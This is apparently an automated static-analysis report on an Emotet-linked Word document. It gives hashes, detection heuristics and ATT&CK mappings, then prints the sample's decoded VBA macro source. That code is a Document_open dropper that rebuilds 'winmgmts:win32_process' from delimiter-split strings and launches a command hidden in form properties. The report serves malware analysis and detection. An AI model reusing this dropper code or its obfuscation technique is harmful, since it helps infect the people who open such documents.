Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 7f7bcbbad8908ec1…

MALICIOUS

Office (OLE)

173.0 KB Created: 2020-07-28 06:59:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 9606dcb25e1dccc7913477ada08cc9e4 SHA-1: 36b8d4858dc491eb66379cb858c4bed5a7ec9876 SHA-256: 7f7bcbbad8908ec12a90d69e7fc8fd67dbbe410947e5c97f01c91ef5b01522c6
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet malware. The ClamAV detection also explicitly names Emotet. The VBA code is designed to execute automatically upon opening the document, likely to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4499 bytes
SHA-256: 79a4fa9139584b561f2ef657470ba46adc47a966068df43eb097693e6015af9c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "feulgozgointhich"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
labvichdioy.cezmiok
End Sub


Attribute VB_Name = "labvichdioy"
Attribute VB_Base = "0{980D0C92-A1A5-4DDE-8BE0-EDB7E18E9FA1}{94CEAC23-AF7F-4D10-BC81-E04250A06831}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function cezmiok()
zevpiaquyiey = Chr(labvichdioy.Zoom + ((60 + 60) / 8))
kS7áCw = 3
Do While kS7áCw < 3 + 1
kS7áCw = kS7áCw + 2: DoEvents
lidchouch = "xeejxiacquoch"
Loop
giapgeekreuhquouw = "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2i83nNBugU7&&)njk&&Dnnnsn882n2nm83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2gm83nNBugU7&&)njk&&Dnnnsn882n2t83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2" + zevpiaquyiey + "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2:83nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2in83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2383nNBugU7&&)njk&&Dnnnsn882n2283nNBugU7&&)njk&&Dnnnsn882n2_83nNBugU7&&)njk&&Dnnnsn882n2" + labvichdioy.gegbeadtaoqu + "83nNBugU7&&)njk&&Dnnnsn882n2ro83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2ce83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2"
EIB7ÅqfeUVM = 3
Do While EIB7ÅqfeUVM < 3 + 6
EIB7ÅqfeUVM = EIB7ÅqfeUVM + 6: DoEvents
banfapdoendaet = "kaocviehxulxouc"
Loop
xikyooctir = laespiar(giapgeekreuhquouw)
Dim htNIyY1âdCk As Integer
htNIyY1âdCk = 2
Do While htNIyY1âdCk < 2 + 3
htNIyY1âdCk = htNIyY1âdCk + 4: DoEvents
toivweighoeptais = "wautduamwoar"
Loop
Set siovhoyquoek = CreateObject(xikyooctir)
Dim u4ÚQcypeHro As Long
u4ÚQcypeHro = InStr("YE2ßoUDAZJ8ÌU2Ô7ÇQL", "DAZJ8ÌU2Ô7ÇQL")
wiajzos = labvichdioy.cheuchruutviep.ControlTipText
Dim uXt1âUC7Ìlhk As Integer
uXt1âUC7Ìlhk = 1
Do While uXt1âUC7Ìlhk < 1 + 3
uXt1âUC7Ìlhk = uXt1âUC7Ìlhk + 1: DoEvents
thuulboolcaix = "foitreuwrax"
Loop
coupmoejdod = NN + (xikyooctir + zevpiaquyiey) + labvichdioy.moirluwhaeh.ControlTipText + wiajzos
Dim cm7àR As Long
cm7àR = InStr("Ri7ÝKoPO1åiu", "oPO1åiu")
heomjoath = coupmoejdod + labvichdioy.gegbeadtaoqu
Dim GTLaT As Integer
GTLaT = 8
Do While GTLaT < 8 + 9
GTLaT = GTLaT + 9: DoEvents
cheickaihsauh = "choadziencubzuur"
Loop
Set rechsiewgios = muunjeequwaqu(heomjoath)
yhtNIy = 2
Do While yhtNIy < 2 + 5
yhtNIy = yhtNIy + 8: DoEvents
requsauthlauqu = "paovceepdeuw"
Loop
uiii = Array("BNSBSBBSSS", siovhoyquoek. _
Create(cuudzouzkos, tipkaonsoekrav, rechsiewgios), "NNNNNNNSNSNSNMD")
Dim nCsIBSZFOy As Long
nCsIBSZFOy = InStr("k2ÂuKQgoHD7ÒZO", "D7ÒZO")
End Function
Function muunjeequwaqu(waevmuusdouwtheir)
Set muunjeequwaqu = CreateObject(waevmuusdouwtheir)
Dim CXgj2àMbiO As Integer
CXgj2àMbiO = 2
Do While CXgj2àMbiO < 2 + 8
CXgj2àMbiO = CXgj2àMbiO + 5: DoEvents
meimcoezwiavhean = "tuthhiothrooh"
Loop
muunjeequwaqu.showwindow = (cheathliggoaw + cauchkeopxeox) + (kaokbaojmiok + foochzizxuf)
Dim qLVYD7v As Long
qLVYD7v = InStr("qQODODfPNf", "ODfPNf")
End Function
Function laespiar(choegbukchail)
cuchkaewvam = choegbukchail
Dim C8àd8åuNsf As Integer
C8àd8åuNsf = 6
Do While C8àd8åuNsf < 6 + 2
C8àd8åuNsf = C8àd8åuNsf + 3: DoEvents
chuujhautruazxiar = "sionnaegvok"
Loop
jeiwdec = Split _
(cuchkaewvam, "83nNBugU7&&)njk&&Dnnnsn882n2")
WRTyS = 4
Do While WRTyS < 4 + 6
WRTyS = WRTyS + 1: DoEvents
moigquoel = "laethgeith"
Loop
heumyefcaus = kooooo + Join(jeiwdec, buuuu)
Dim FE8ÀZPIY As Long
FE8ÀZPIY = InStr("WnuNksorVHT", "sorVHT")
laespiar = heumyefcaus
Dim GaWZEpC As Integer
GaWZEpC = 4
Do While GaWZEpC < 4 + 4
GaWZEpC = GaWZEpC + 5: DoEvents
bomnoiquseuqu = "feacnixziech"
Loop
End Function
Function cuud
... (truncated)

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